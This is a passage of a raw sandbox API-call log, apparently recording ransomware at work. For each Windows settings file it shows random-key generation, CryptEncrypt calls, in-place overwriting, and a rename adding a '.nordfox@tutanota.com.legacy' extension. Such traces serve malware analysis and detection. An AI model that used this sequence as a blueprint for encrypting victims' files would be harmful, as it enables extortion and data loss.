lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.593] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.593] CloseHandle (hObject=0x1c24) returned 1 [0197.593] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_BatterySaver_LandingPage_SettingsLink.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_batterysaver_landingpage_settingslink.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_BatterySaver_LandingPage_SettingsLink.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_batterysaver_landingpage_settingslink.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.596] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.596] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.596] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_BatterySaver_LandingPage_SettingsLink-2.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.596] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x53f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x53f, lpOverlapped=0x0) returned 1 [0197.597] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1343, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.597] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x53f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x53f, lpOverlapped=0x0) returned 1 [0197.598] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x53f [0197.598] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.598] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.598] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.598] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.599] CloseHandle (hObject=0x1c24) returned 1 [0197.599] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_BatterySaver_LandingPage_SettingsLink-2.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_batterysaver_landingpage_settingslink-2.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_BatterySaver_LandingPage_SettingsLink-2.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_batterysaver_landingpage_settingslink-2.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.601] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.601] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.601] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_BatterySaver_LandingPage_OverrideControl.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.601] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x546, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x546, lpOverlapped=0x0) returned 1 [0197.602] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1350, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.602] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x546, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x546, lpOverlapped=0x0) returned 1 [0197.603] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x546 [0197.603] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.603] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.603] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.604] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.604] CloseHandle (hObject=0x1c24) returned 1 [0197.604] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_BatterySaver_LandingPage_OverrideControl.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_batterysaver_landingpage_overridecontrol.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_BatterySaver_LandingPage_OverrideControl.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_batterysaver_landingpage_overridecontrol.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.606] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.606] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0197.606] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Autoplay_IsEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.607] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4c3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4c3, lpOverlapped=0x0) returned 1 [0197.608] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1219, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.608] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4c3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4c3, lpOverlapped=0x0) returned 1 [0197.609] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4c3 [0197.609] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.609] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.609] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.609] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.610] CloseHandle (hObject=0x1c24) returned 1 [0197.610] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Autoplay_IsEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_autoplay_isenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Autoplay_IsEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_autoplay_isenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.612] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.613] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0197.613] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_NotificationDuration.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.613] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x529, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x529, lpOverlapped=0x0) returned 1 [0197.682] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1321, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.682] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x529, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x529, lpOverlapped=0x0) returned 1 [0197.683] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x529 [0197.683] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.683] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.683] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.684] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.684] CloseHandle (hObject=0x1c24) returned 1 [0197.685] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_NotificationDuration.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_notificationduration.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_NotificationDuration.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_notificationduration.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.698] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.698] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.698] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_SpeechVoices.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.698] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x52d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x52d, lpOverlapped=0x0) returned 1 [0197.711] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1325, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.711] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x52d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x52d, lpOverlapped=0x0) returned 1 [0197.712] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x52d [0197.712] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.712] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.712] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.713] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.713] CloseHandle (hObject=0x1c24) returned 1 [0197.713] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_SpeechVoices.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_speechvoices.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_SpeechVoices.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_speechvoices.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.715] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.715] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.715] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_SpeechSpeed.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.727] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0197.731] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.732] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0197.732] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x528 [0197.732] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.732] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.733] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.733] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.733] CloseHandle (hObject=0x1c24) returned 1 [0197.734] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_SpeechSpeed.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_speechspeed.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_SpeechSpeed.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_speechspeed.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.736] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0197.736] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.736] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_SpeechPitch.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.737] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0197.742] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.742] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0197.743] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x528 [0197.743] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.743] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.743] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.744] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.744] CloseHandle (hObject=0x1c24) returned 1 [0197.744] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_SpeechPitch.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_speechpitch.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_SpeechPitch.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_speechpitch.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.746] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.747] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0197.747] SetFileAttributesW 